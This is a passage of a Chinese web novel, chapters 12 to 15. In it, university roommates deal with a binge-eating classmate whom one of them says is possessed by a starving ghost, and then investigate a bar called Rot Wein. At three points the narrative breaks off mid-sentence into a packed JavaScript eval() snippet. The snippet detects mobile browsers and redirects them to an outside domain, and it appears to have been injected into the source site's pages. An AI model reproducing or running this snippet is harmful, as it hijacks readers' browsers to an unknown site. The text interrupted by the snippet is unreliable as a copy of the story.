一向对她予取予求的安平却难得拒绝了回答:“我不能告诉你。” 常喜乐气笑了。 12.饿死鬼 “不能告诉我?”常喜乐反问他,“如果有一天我也突然消失,完全不联系你,即使回来了也不告诉你为什么,你会怎么想?你不会生气吗?” 安平思考了一会儿,却很郑重地点了点头:“我不生气,我会自己找到你。” 常喜乐:? 她指了指自己,问:“你的意思是,我找不到你,是我的问题吗?” 渣男!巧言令色、巧舌如簧!做错了事情还一点都不知道反省。常喜乐想起来了,就在这家医院,她曾经说过:如果安平给不了一个令人信服的解释,她就分手。 然而话还没有说出口,安平的神情变化了。他审慎地观察着常喜乐的神色,突然问:“我不在,你感到悲伤吗?” 常喜乐盯着他,想说“才不是”。可话一出口就有些哽咽,她眨了眨眼想把泪意忍回去,最后自暴自弃道:“对,我不能觉得难过吗?” 于是常喜乐眼前突然一黑。等她反应过来,发觉安平将头埋在了她的肩膀上。他纯白色的发丝微微蹭到了她的脸颊,男人声音闷闷的:“有一个很重要的人有生命危险,我必须去救她。” 常喜乐愣了愣,她下意识问:“那人救回来了吗?” 安平抬起头,很珍惜似的摸了摸她的头发,点头说:“是的,人现在好好的。” 常喜乐松了口气。她一直没有见安平有什么特别要好的亲人或朋友,但能让他如此伤心的,一定是重要的人。 人没事就好,生死之事面前,不应该拘泥于小节。 但她还是埋怨道:“但你也应该告诉我一声,至少让我知道你什么时候回来吧?” “你保证,你不会再无缘无故地消失,不能什么都不告诉我。”常喜乐伸出手来,“我们拉钩!” 安平勾住她的指尖,神情却有些复杂:“拉钩?” “就是拉钩上吊一百年不许变呀,你没听过吗?”常喜乐一看他的神色就知道他又没听过这句话,她有些爱怜地叹了一口气,“怎么办安平,你的童年我的童年好像不一样。” “好啦!我们一起回学校吧?”窗外雨势已停,常喜乐收拾好心情往外走。她走了几步回头,见安平还低头站在原地,向他招手道,“愣着干什么,走呀?” 安平注视着面前这人的身影,她逆着光,周身围了一圈金色光晕,让人不自觉就向往起来。他没有往前走,而是低声喃喃着:“可,我不确定我究竟能否回来,又该怎么告诉你呢?” 常喜乐弯着眼睛喊他:“嘀嘀咕咕说什么呢?快来呀!” …… 等常喜乐回寝室的时候,却被里面的情景惊呆了。 “你胡说什么!不要以为你那些把细骗得过网友就能骗过我。我都查过了,开播这么几个月你抓到过鬼吗?一个神棍,凭什么说我身上有鬼啊?”方信艾在过去几天就显得很暴躁,虽然理智告诉她要忍耐,然而这火总有压不住的一天。这会儿她指着杨瑰司破口大骂,与平时的她大相庭径,毫无形象可言。 杨瑰司就显得冷静很多,即使方信艾的手指尖都快戳到她鼻子上了,她也只是双手抱臂淡淡道:“我如果真想害你,就什么也不说,等着你死,然后我们全寝保研。” “你,你还咒我死??”方信艾更愤怒了,她一扬手就想甩杨瑰司一巴掌。 任清不知道去哪儿了,常喜乐忙拽住方信艾的手腕,防止她把一场口角演变为恶性事件。 前几天方信艾暴躁的时候,只要待在常喜乐身边就能好一些,然而今天却丝毫没有效果。方信艾只瞥了常喜乐一眼就甩开她的手,这一下力大无比,把没有防备的常喜乐推倒在地,连着带倒了一边的椅子,发出巨大的响声。 “喜乐……你没事吧?”听到巨响,方信艾这才清醒过来,她弯下腰想扶起常喜乐,然而她这一蹲下就再没力气站起来,干脆把头伏在膝上痛哭,“我也不想的……我不知道我最近是怎么了……” 常喜乐还在发懵,她看着自己现出红印的手腕。刚才方信艾推她那一把力道相当大,根本不是她这个小体格能拥有的力气。 杨瑰司冷眼看着方信艾,向侧边伸出一只手,对着的正是常喜乐的方向。 常喜乐拉着她的手站了起来。 “你觉得我是骗子,你就不好奇为什么我能知道那女生的隔壁房间有人被绑着吗?”杨瑰司很顺手地从抽屉里拿出一罐红花油,牵起常喜乐的手腕慢条斯理地为她涂抹,“后续并没有相关人员来找我调查,足以证明我本来与这案子没有任何关系。” 杨瑰司明明是在和方信艾说话,眼睛却一直盯着常喜乐。说到这,她话锋一转,笑眯眯地看着常喜乐:“你是不是想让我帮她?” 事出反常必有妖,一向冷漠待人的杨瑰司突然如此吻温和,令常喜乐微微戒备,问:“我想,你就会帮吗?” “唔……”杨瑰司转了转眼珠,抬起右手用食指和大拇指互相搓了搓,“大概需要一点交换?” 常喜乐直截了当地问:“你想要什么,钱吗?” 杨瑰司弯着眼睛又笑起来:“哎呀呀,不要这么戒备嘛。室友一场,我总不会敲诈你。” “只是我很好奇。”杨瑰司笑够了之后,逐渐收敛起笑意,很认真地问她,“昨天的你和今天的你有什么不同?为什么昨天她背上还没有东西,你一走,它就又来了?” “你说的东西是指什么?”常喜乐迅速抓住她话里的重点。 “喏,就她背上那个,你看不见?”杨瑰司朝方信艾的方向努了努嘴,她已经哭累了,现在仍然伏在膝上抽泣,“她刚告诉我你昨天也一直盯着她的背看。” “我其实没有看见,是……”常喜乐摇头,她刚要张嘴再说点什么,但心神一转后,及时住嘴,只是不慎磕到了自己的舌尖,嘶了一声 难道要告诉她,是猫看见的吗,这种荒谬的说法谁会信? “是吗……?”杨瑰司狐疑地打量着她,就在这时,一边的方信艾突然又默不作声地站起来,抓起桌上的食物就毫无形象地往嘴里硬塞。她已经饱得不行了,然而即使撑到干呕,也一刻不停地在进食。 常喜乐握住方信艾的肩膀想让她保持清醒,却完全阻止不了她。 “好吧,我虽有办法,但只能治标不治本。”杨瑰司摊了摊手,从抽屉里拿出一张黄色的纸,又随手用食指从桌上水杯里沾了点水,然后聚精会神地在那纸上写写画画些什么。水渍在黄纸上留下一道浅痕,随后慢慢风干不见了。 杨瑰司对着符纸吹了口气,然后按在了方信艾的背上:“得嘞。” 方信艾的动作戛然而止,她揉了揉眼睛,茫然道:“我在干嘛?嘶……我的肚子好痛。” 杨瑰司随手从桌子上拿了个饼干递到她面前,问:“还吃吗?” 方信艾怔怔地看了这饼干一会儿,然后突然捂住嘴,冲到了厕所。随后两人就听见厕所里传来一阵干呕声。 “她短期内应该都不会再想吃东西了。”杨瑰司拍了拍手,好整以暇地拉开凳子坐下。 “所以,到底是怎么回事?”常喜乐问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14290477|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “饿死鬼附身,听过吗?”杨瑰司抬头看她。 常喜乐点头。这种话总是用来形容那些饿坏了的人,从前作文课上老师列好词好句时就偶尔提到这类词,列举这样的比喻手法。 但杨瑰司所说的版本和这种传统的比喻大有不同。 小时候,杨瑰司和外婆一块儿生活,就住在某座山上的小村庄里。那村里有个四十多岁未娶的男人,平时只出门打些零工维持生计,然后把大部分的钱都用来赌博。等到输个底掉,再重新去打零工,如此反复。他一向只会赌自己拥有的东西,绝不欠账赊账。这样一来,无论再怎么输,大不了也就是从零开始,钱总归可以再挣么。 然而有一天也不知怎么的,他和几个村外人打了一宿麻将,输红了眼,连着还向他们借了好多钱,最后全输出去了。 光靠打零工可平不了这个账,那男人就干脆找了门路出海去了。大家都说他这一走是为了躲债,不会再回来了。 然而一年后,那男人竟然回来了。他回来时正是晚饭时间。那几户人家还围着桌子吃饭呢。那男人做的第一件事是把钱拍在那几个外乡人的桌子上,然后就自顾自去厨房拿了晚饭开吃了。 因为他乍一下还了这么多钱,这一家人虽然有些不满意他不问自取来吃饭,但也没说什么。 然而过了会,大家都觉得不对劲,这男人把这饭桌上四人份的菜全一扫而空之后还是觉得不满足。他的小腹已经鼓得像气球一样了,可他还嚷着饿,还要再吃。 那户人家的妻子觉得他是出海的时候过狠了苦日子,看着怪可怜的,打算再去厨房给他煮碗面。可她刚站起来就被丈夫拉住了。 那丈夫仔细端详着这男人,只看他双眼无神,直喊饿,觉得不能再给他吃了。从前也听说有人因意外饿了很多天,然后一口气吃了大几人份的饭菜,最后喝水,食物在胃里膨胀,就这么活生生把人给撑死了。 这人要死在自己家,算个怎么事儿?于是这丈夫摆了摆手,让男人上别处吃饭去。 然而这男人没有吃的,脾气却突然变得狂躁异常。他一把掀翻了桌子,打伤了来阻止他的妻子和丈夫,最后跑了出去。 等到众人在山林里找到他的时候,只剩下一具冷冰冰的尸体。 可他竟然是饿死的。 当地有老人说,那男人在海上的船只出了事故,一直在无边无际的海面飘荡了很久。最后船上的粮食早已用完,等海上的其他商船遇见他们时,那船上只剩下了那个男人。 很难说那些消失的人都遭遇了什么。而活着回来的那个男人,谁都不知道他在船上的那么多天,究竟是靠吃什么,才成功地活了下来等到救援。 有老人家说,他这是被那些饿死的冤魂附身,所以才会无度地索取食物,直到死去为止。 “你的意思是,方信艾也是类似的情况?”常喜乐问。 杨瑰司点点头,补充道:“她不停暴食却一直变瘦,这根本不符合自然规律。我觉得十有八九是被饿死鬼缠上了,但不知道诱因是什么。” 常喜乐纠结半天,还是觉得这说法太荒谬:“虽然你说的感觉很有道理,但……我其实是唯物主义来着。” “真是拜托了。”杨瑰司翻了个白眼,“那你说,为什么我刚才画了张符纸,她就恢复正常了?” “可能,你对方信艾背部的敲打动作,让她得以吐出自己过多摄入的食物?”常喜乐试着用常理来解释这些事,“不过,为什么你说贴符纸只是治标不治本呢?” 13.大师 “因为我道行不够呗。”杨瑰司很洒脱地拍了拍手,直白道,“刚才水印在符纸上甚至没有留下一丁点痕迹,等它完全干了之后,就没用了哦。” 常喜乐试图理解,但失败。她还是无法说服自己认同方信艾是被鬼附身了。 “你先别忙着关心她了。”杨瑰司挑了挑眉毛,告诉她,“你知道你现在妖气缠身吗?” “我?”常喜乐指了指自己,“怎么说?” “从你回来开始。”杨瑰司用指尖点了点她的手指、肩膀、背,最后流连到了她的颈窝,“你都没觉得哪里不对吗?” “没感觉。”常喜乐最近唯一烦心的事就是听懂猫说话,但小猫又能有什么威胁呢,更别说妖气了,“如果照你说的,方信艾被鬼附身,那说不定那饿死鬼也试着缠过我们?所以才有你所说的妖气。” “一看你就是外行人,妖和鬼可不一样。”杨瑰司嗤道。 等方信艾面色苍白地掩着嘴走出厕所的时候,就听见杨瑰司在给常喜乐“科普”。 “我问你,你们在梦里有没有见过陌生人?”杨瑰司看了眼方信艾,干脆连两人一起问了。 这样的梦很常见,方信艾和常喜乐都点了点头。 “那么,陌生人的脸,你们能看清吗?”杨瑰司继续问。 两人的回应不再相同。方信艾摇了摇头,而常喜乐却犹疑地点了点头。 多么似曾相识的问题,在医院时小姨也这么问过她。 “看不清才对。”杨瑰司给了方信艾一个肯定的目光,然后慎重地看向常喜乐,“人很难凭空想象出没见过的长相。如果你在梦里看清了陌生人的脸,那就说明有陌生的魂魄进了你的梦境,想迷惑你。而妖有实体,入不了你的梦。这就是鬼和妖的区别” “那我们该怎么办?”方信艾非常关心这个问题,刚才她虽然一直控制不住地顾着进食,神智却还有一丝清明,连带着对“饿死鬼”故事的科普也听进去了。现在她对自己被鬼附身深信不疑。 “啊,他们一般都长相很好,然后想诱惑你跟着他们走啊□□啊什么的。反正别答应就好了,都是些弱弱的家伙。”杨瑰司摆了摆手无所谓道,“你身上这个应该不一样,这只有点强。” “照你这么说,这只鬼在哪呢?”常喜乐原地转了一圈,试图找到杨瑰司所说的在她看来根本不存在的物质。 “不在。”杨瑰司坐回椅子上翘了个二郎腿,很潇洒地开了把折扇,“开玩笑,我可是鬼司,一般道行的小东西得靠边站。” “你真的很厉害吗?”常喜乐问,“但网上都说你是下一代走近科学的传承者。” “那是因为!”杨瑰司瞪大了眼睛直起腰来,似乎受到了极大的侮辱,她深吸了一口气才平复了情绪,“那是因为这个世界上比起妖魔鬼怪还是人比较多好吗?哪来那么多神神怪怪都让我碰上了。” “嗯,遇见几率不高。在我们寝室的几率却是二分之一。”常喜乐点点头,心平气和地反驳她。 杨瑰司却显得有些心虚,她干咳了两声,摸着下巴说:“嗯……放心,我会对你们负责的。” 由于杨瑰司个人的体质问题,她、包括与她亲近的人,都更容易遇到些奇怪的事情。 因此她帮这些室友解决问题,绝不是因为她乐善好施,而是因为“个人的因果应该由个人承担”,她改变了他人的命运,就该为此负责。杨瑰司很信奉这个道理。 “你说你无法完全解决小艾的问题,那她之后该怎么办?”常喜乐还记着杨瑰司刚才说的治标不治本一言。如她们所见,方信艾再这么暴饮暴食暴瘦下去,真是不死也要脱层皮了。 “我得知道她究竟为什么会遇上这东西。”就好比那出海归来的男人是被同伴的亡魂惦记。被这样的东西缠上总有契机,杨瑰司问方信艾,“你是从什么时候开始胃口大涨的?” “大概,军训结束之后?”方信艾试着回忆了一下。 常喜乐想起来一起洗照片那天她惊人的饭量,当时还以为这只是单纯军训后的报复性进食。 “那天前后,你身边有发生不寻常的事吗?”杨瑰司接着问。 “不记得。”方信艾想了好一会,垂着头有些沮丧,“最近总觉得很饿,脾气不好,记性也差了。” “没事,慢慢想,晚点把你那两天的行动路线写出来。我们一起去看看。”杨瑰司拍了拍方信艾的肩膀,随后注意到身侧的常喜乐迅速消失在了自己的视线。 在“砰”的一声响后,常喜乐的椅子断了条腿,原地散架了,常喜乐本人则坐在地上痛得龇牙咧嘴。 她倒是没什么额外的情绪,只是吃痛地揉了揉自己的腰,方信艾则丧丧地转过头,见怪不怪地问:“这是你九月月坐塌的第几把椅子了?” “第四把。”常喜乐苦中作乐,“楼下的宿管阿姨又要念叨我好久了。” 方信艾唇角一勾,合着她的声音一样齐声学道:“哎呀,小姑娘家家的也不胖嘞,怎么这么费椅子,是不是天天把腿翘在椅子上呀?”然后两个人对视着笑起来。 杨瑰司看常喜乐还有心情笑,觉得很匪夷所思:“你还有心情笑呢……?” 常喜乐站起身拍拍裤子,开始收拾椅子的残肢,她冷静道:“习惯了。” 第一把椅子的时候觉得是巧合。第二把的时候有些恼火,第三把的时候已经开始无奈。第四把的时候就毫无波澜了。 说到这,她想起什么似的问杨瑰司:“你对黄鼠狼讨封有没有什么研究?”如果那医院的阿姨所说是真的,听起来这像是在杨瑰司的研究范围内。 “这个很简单的,它跟你说话时你别理它就好啦,就和处理梦中鬼的方法一样。”杨瑰司听过这种志怪故事,她迅速地套公式。 常喜乐冷静道:“嗯,那如果应了它之后,该怎么补救?” “为什么要应啊?信我,它如果要修成人就不能造杀孽,只要不理它,等到天亮就什么事儿都没有。”杨瑰司皱着眉,就像学霸不能理解学渣提出的“为什么不换种方式解题”的古怪思路。然而她看到常喜乐一言难尽的认真神色后,突然悟了,“啊,你已经应了是吧?” 常喜乐点点头,手上还拿着个椅子腿儿,叹口气:“要是你早点回宿舍住就好了。” “所以,杨大师,应了之后怎么办?”常喜乐诚恳地讨教道——如果杨瑰司真的能解决自己“倒霉”的问题,常喜乐不介意为此改变一下自己一直坚持的人生观。 然而杨瑰司眨了眨眼,说:“我不知道啊。” “你不是堂堂鬼司吗?”常喜乐盯着她的眼睛。 “我是走近科学的传承者啊!”杨瑰司硬气地认下了这个曾被她引以为耻的封号。 好吧。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304388|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 常喜乐决定还是继续做个坚定的唯物主义者。也许这一切都不过是个巧合,因为她一直暗示自己会倒霉,所以才会下意识地把一切事情都引导向bad ending。你看,这其实可以从心理学来解释吧? 杨瑰司看常喜乐这副懒得挣扎的样子,还是道:“通常来说,黄鼠狼在修炼成人的时候遇到了门槛,会去借人的气运。所以在认可它是人后,那个被讨封的人在一段时间内会异常倒霉,严重者甚至会丧命。但只要熬过了那个期限,黄鼠狼便会来报恩,它所享受的福泽即为你的福泽,等到那时,一切就苦尽甘来了。” “前提是,你福泽绵长,能熬到那个时候。”杨瑰司说得嘴巴有点干,原本这件事算是常喜乐自己的因果,不用她负责的。 但看着常喜乐听到自己可能会有的遭遇后毫无波澜,只露出如此淡漠的神色,却让她想起了某个人。杨瑰司叹了口气才说:“如果是我师父的话,说不定能知道怎么帮你解决。” “你师父是谁?”一直认真旁听的方信艾没忍住问。 “她是常乐山上常乐观的一位大师,其实我们没有实际的师徒名分。但她教了我很多,算是有师徒之实吧?”杨瑰司仰着头,露出些许怀念的神情来,“如果你诚心去问她,也许她会帮你。” “常乐观……?”常喜乐念着这个名字,总觉得好像很熟悉,但不是因为这观和自己名字类似。 她好像在哪儿听见过这个道观。 “没错,就在山城那座常乐山上。”杨瑰司拿出手机就准备联系人。然后电话嘟嘟了好几声后,就只剩下机械女音说出固定的台词。 杨瑰司关掉手机,在一阵沉默中说:“我师父不太用手机,所以经常联系不上。” “真的吗?”方信艾将信将疑,但鉴于杨瑰司刚帮了自己,还是决定给她个台阶,“联系上最好,联系不上也正常。之前在网上看名校老师录播课程的时候,我也总是尊称他为我的老师。虽然咱们压根没见过面,但人的确教了我很多。” “她真是我师父!”杨瑰司听出方信艾的言外之意后反而急了,似乎受到了比说她是坑蒙拐骗要更大的侮辱,她咬咬牙干脆道,“我直接带你们上山。只要能见到师父,不管是否相识,以她的秉性,一定会帮你们的。” 常喜乐终于在自己的记忆里读档完毕。 常乐观,就是她小姨唐柚待过的观嘛。 这么一来,常喜乐对杨瑰司所说的真实性更加怀疑了。 因为在常喜乐很小的时候,曾经非常相信鬼神之说,而且常常为此做噩梦,害怕得睡不着觉,甚至于多日高烧不止。 彼时出家的小姨收到消息,千里迢迢地赶回了老家。她握着常喜乐的肩膀,认真地说:“乖,喜乐。世界上根本没有鬼怪。” 小喜乐抽噎着问:“可是小姨你不是出家了吗?电视上那些人出家都是去抓鬼的呜呜呜呜。” “不是的。”唐柚想了想,对她说,“正因为我在那,所以我才知道,世界上根本没有鬼怪呀。你不相信小姨吗?” “真的吗?”常喜乐当然是相信小姨的,传说里她去的地方是古时候妖鬼横行的坟林,如果连她都说不曾见到鬼,那应该就是没有……吧? 常喜乐相信了,并且一直信到现在。 或者说,她必须相信。因为只有这样才能够安心地活下去。 14.酒吧 “这是不是可以算是去秋游?我来山城之前就听说常乐山是这里的名景,但一直没找到机会去?”方信艾对此很感兴趣,她一拍手问,“我们什么时候去?” “周末去?在这之前,我们先解决你暴饮暴食的问题吧。”杨瑰司看了眼她贴在墙上的课程表,提醒道,“后面三天都是满课哦?” “啊——”突然从灵异问题拉回到现实,方信艾没忍住发出一声哀嚎。 正说着,任清从漫展回来了。她一打开宿舍门,方信艾赶忙小跑着去门口迎接她。前几天她脾气暴躁,和任清老闹矛盾,这会儿觉得抱歉,希望能挽回一下友谊。 然而任清拎着卡通袋子一言不发,一直到被方信艾挽着手臂缠到座位边上的时候才终于忍不住了似的甩开她的手:“你别一天天这么忽冷忽热的,心情好就逗我两句,心情不好就甩开我,我又不是你养的宠物。我很忙,我自己最近也很烦,天天做噩梦,没心情应付你!” 方信艾尴尬地站在一边有些下不来台。她有心想说明自己可能是被鬼附身了,但到底这只是杨瑰司一言之词,到底是不是真的她自己心里还犯嘀咕呢。真讲出来了反而像个可笑的借口。 “既然你烦我,那我就不缠着你了。”她本来就好面子,这么一来干脆就放弃,回了座位不说话。 晚上,常喜乐敷着面膜坐在椅子上,手机自动推送了一条消息。 “您关注的鬼司刚刚发布一则动态。” 常喜乐昨晚才关注的杨瑰司,她好奇地点进链接,还以为杨瑰司又要开直播了。然而身后那桌子前的人却没有什么动静,看着又不像。 鬼司:[今天不播] 冰冰冷冷四个字,她倒是言简意赅地交代完了,评论区则炸开了锅。 “为啥不播啊啊啊啊啊啊啊我还打算听这个睡觉呢!” “哈哈哈哈哈鬼司看到你这个不得气死,咱可是灵异恐怖频道的你怎么拿来助眠啊!” “是不是室友不让播?昨天鬼司说她搬回学校宿舍了,可能不太方便。” “啊?那以后这么长时间难道都见不到鬼司了吗呜呜我接受不了啊!” 说实话,常喜乐也很想看她连线直播。此时作为现生朋友的好处就来了,她立刻戳了戳杨瑰司的小窗。 (^v^) :[鬼司大人——今天不播了嘛?] 王鬼:[?这是什么称呼] (^v^) :[我看大家都这么叫你,千呼万唤高冷的鬼司大人出来连麦] 王鬼:[感谢这位微笑粉丝的关注,主播今天不播呢~~~~] 常喜乐没忍住想笑,又因为在敷面膜生生忍住了。 (^v^) :[是怕我们介意吗?] 王鬼:[是原因之一,不过想播总有地方播。我今晚在研究方信艾的事。你听到了吗,她又开始拆零食包装了。] (^v^) :[是饿死鬼又回来了吗?你能看见它吗?能给她再贴一次符吗] 虽然不是很想相信。但一想象着也许有只鬼在她们宿舍里游荡,常喜乐就起鸡皮疙瘩。 王鬼:[哦~我们的唯物主义喜乐对这些封建迷信还挺好奇的嘛,怕了?] 杨瑰司看起来倒是游刃有余,一点儿都不惊慌。 (^v^):[想要打破封建迷信必须研究其原理,找出其中漏洞,然后从源头击破。这就是走近科学的真谛!] 王鬼:[……鬼不敢来,因为姐很强。方信艾估计只是习惯吃夜宵了。不能再给她贴符。你知道人生病的话,是不提倡太依赖打抗生素的,为什么?] (^v^) :[细菌会产生耐药性?] 王鬼:[鬼也一样。杀不死它的只会让它更强大。] ……这么一说,鬼同志还挺励志的。 杨瑰司紧接着发来几张图片,分别是两处地名的概述。 一处是学校后街新开的酒吧,叫Rot Wein,有段时间方信艾迷上了那儿的驻唱,时不时就去点上几杯酒喝。 一处是离学校两站地铁的一家无名鬼屋,已经开了有两年了,在网上很火。据说不止一个人觉得里头扮演鬼的npc有点奇怪。 王鬼:[方信艾军训结束后主要是去了这两个地方。鉴于明天满课,时间紧张。你认为哪里有问题的可能性更大?] 以常喜乐多年看法制新闻的经验,她大胆猜测: [有没有可能她是在酒吧被人往饮品里下了药品才导致了这种不同寻常的生理反应?] 王鬼:[扯吧,没听过这种作用的药。] 常喜乐坚强地继续推理 :[假设有人有药,他不可能只生产一颗,也不可能只对一个人使用。不如我们去问问有没有顾客出现类似情况?] 也罢,反正总归是要去一趟的。 第二天下课后,三个人站在了教室门口。任清路过她们的时候停了一会儿,几人面面相觑,方信艾刚打算开口,下一秒任清就头也不回地径自离开了。 往常,任清都是和方信艾结伴走的。 杨瑰司没处理过这种人际交往关系的问题,她只觉得气氛尴尬,回头问:“要叫上她一起吗?” 不然总觉得像在搞小团体。 方信艾肯定道:“她不喝酒的,肯定不去。” 等她们三个人到了那家名为Rot Wein的酒吧时,天色已经完全黑了。 进门的时候灯光昏暗,只影影绰绰能看到人影交错,坐落在各自的位置。他们细声交谈,一起听着舞台上的乐队唱歌。 今晚的客人来得很多,三个人找了一会儿才在吧台找到位置坐下。方信艾驾轻就熟地点了杯莫吉托,并且试图给另外两位新手小白一点过来人的建议,常喜乐盯着单子犯了选择困难症,杨瑰司则拒绝喝酒。 她自然道:“我师父说过,饮酒伤身。况且我醉了就办不了事。” “好吧。”方信艾托着脸,把注意力转向那位正闭着眼唱着轻柔歌曲的驻唱。 “喏,就是那个红色头发的男人,看上去是不是超带劲的。”一首歌结束,方信艾把手掌作喇叭状对着那男人“woo”了一声。 常喜乐看着杨瑰司若有所思的样子,问她:“你在想什么?” “这家店很干净。”杨瑰司微微倾身靠近常喜乐,说话间气息闹得她耳朵微痒。 “干净?”常喜乐四下望了望,由于光线昏暗,其实看不太清店里的卫生状况,她困惑道,“新店开业,保持卫生也是基本的吧?” “不是这种干净。”杨瑰司慢慢转头,视线扫过在场的每个人,“我从前去过一些酒吧,里头乌烟瘴气的,最容易滋生坏东西了。” “这里的每个角落都没有那种阴森的气息,可能因为是新店。”杨瑰司猜测。毕竟无论是鬼是妖是坏人,要在一个陌生的地方扎根作恶都需要时间,他们也要在和自己相性更好的环境才能壮大自身。 常喜乐刚想问她们是不是要无功而返了,就见杨瑰司突然站了起来。她撂下一句“等着。”,没有多做解释就向二楼楼梯处走去了。 常喜乐还没反应过来,就发现身旁又坐了一个人。 “嗨,没有什么想喝的吗?” 一瞬间,常喜乐觉得后颈起了鸡皮疙瘩,几乎觉得有气息拂到了她的耳后。她猛地转过头,却发现这人离她坐得其实很远,保持着应有的社交距离。 即使光影昏暗,常喜乐也看得出这位身穿夏威夷风衬衫的男人五官深邃,金发碧眼,是个外国青年。 他笑眯眯地递了份店内设计好的菜单来:“你可以尝试些想喝的。” 常喜乐翻了翻这个菜单,上面尽是些听起来很浪漫的名字,每杯饮品边上都附带一张图片。然而凭这些,她看不出这些饮品各自的特色是什么。 “我的酒量不好。”另一边的歌声又响起来,附带着人群的欢呼声,常喜乐不得不凑近了告问他,“有饮料可以点吗?” 正说着,她余光瞟到一杯看着相当漂亮的饮品,颜色火红,状似橙汁。她手指着这张图片问:“龙舌兰日出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14311262|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这个怎么样?” “你不一定喝得惯。”这男人诚实道,他拍了拍手,一位调酒师走来向他点了点头。 然后他说了一串常喜乐听不懂的话,只见这调酒师点了点头,而男人则转回头冲她微笑了一下,说:“祝你今晚愉快。“随后他就离开了。 常喜乐还在琢磨刚才那男人说的是什么语言,调酒师已经将一杯漂亮的饮品放在了她面前。 “多少钱?”常喜乐还在状况外,但记得钱货两讫的道理。 “我们老板说请您喝。”调酒师笑眯眯地说。 这家店的老板居然是个外国人。这么一想,她拿出手机查了查,才发现这店名“Rot Wein”也是德语,意为红酒。 “是的,我们老板的女友喜欢喝红酒,所以才取了这个名。”调酒师又问,“还有什么需要为您服务的吗?” “我想问,如果我想要改善饮食习惯,吃点什么能让我胃口大开呢?”常喜乐还惦记着她之前的猜测,试着往相关方向提问。她低头抿了抿这杯酒,下一秒就皱起眉头,的确有些喝不惯。 “据我了解,适量喝酒可以促进胰腺分泌消化液,增加食欲。”这么刁钻的问题,这位调酒师还是面不改色地回答了她,听起来也很合理。 然而方信艾并不酗酒,只是偶尔来酒吧小酌一番,喝酒促进食欲这一点理论没有办法完全解释她这段时间暴饮暴食的行为。 常喜乐眨了眨眼,目光有些迷离,她费劲道:“好,那没事了,谢谢你。” 调酒师却没急着走开,他面带微笑地递给常喜乐一张名片:“我们老板喜欢结交朋友,假如你有意向去投资些什么,不妨问问他的意见。” 常喜乐接过名片,点过头后又摇了摇头 开玩笑,她这样的穷学生,要拿什么去投资,未来三十年的彩票运吗? 调酒师递出名片后就离开了,走前,他张嘴说了些什么。然而因为此时场上的歌声达到了最激昂的部分,所以常喜乐只看见他的嘴唇一张一合,并没有听清内容。 [我们老板最喜欢结交朋友了。不过和他交友,如同赌博。] [而所谓赢家,屈指可数。] 常喜乐低头仔细看了眼手上的名片,设计得很简洁,上面用花体写了个名字:“Steve”,后头附了一串电话号码以及一个邮箱。 “喜乐,让我来尝尝你的酒好不好?”方信艾已经有些醉了,她把头靠在常喜乐的肩上,对她那杯色彩鲜艳的酒很感兴趣。 常喜乐任她品鉴,并且由于拗不过她的盛情邀请,也尝了尝她的饮品。 等杨瑰司回来的时候,看到的就是靠在一起的两个醉鬼。 “嗝,奇怪,我平常可是千杯不倒呢!可我看你怎么是歪的”方信艾搂着怀里昏昏欲睡的常喜乐,疑惑地和杨瑰司对视,下一秒她就撒开常喜乐,对着驻唱的红发帅哥大喊,“帅哥!我好喜欢你呀——woo!再来一首!” “……因为你的头是歪的。”杨瑰司忙接住倒到她怀里的常喜乐,这位倒是不吵不闹,还冲自己笑了一下,看起来十分乖巧。 然而她实在无力把兴奋过度的方信艾也一块带回去,到最后没法子了,不得不召唤来了任清,费劲九牛二虎之力才把两个人拖回了宿舍。 任清没想到她们三个人一起来了酒吧,扶过方信艾的时候表情很微妙。 离开前,方信艾还在对那红发帅哥飞吻。杨瑰司搀着常喜乐,回头又看了眼店内。 这酒吧干净到容不下一丝藏污纳垢的地方。要么是的确没有鬼怪,要么就是它的道行远胜于杨瑰司,因此她才看不出来。 但昨天,方信艾身上的鬼还能被她那功力不深的符咒驱赶片刻,就足以说明这鬼并没到这样藏匿行踪于无形的程度。 总之,这里没有能解决方信艾问题的东西,几人算是白跑一趟。 彼时的杨瑰司还没有意识到,她虽然能判断一个地方有没有鬼魂,然而心里有鬼这样的事,是无论如何也看不出来的。 15.见面的理由 第二天,方信艾和常喜乐对坐着痛定思痛。 “抱歉,我不该沉迷喝酒、欣赏帅哥。”方信艾羞愧地低下了头。 “我的确不太了解自己的酒量。”常喜乐则干脆决定戒掉这还没让她沉溺进去的酒。 既然酒吧没有问题,下一步就该去鬼屋调查了。 “所以这家鬼屋叫什么名字。”常喜乐问。 “无名鬼屋。” “没有名字吗?那在各类app上,玩家要怎么获取它的信息?” 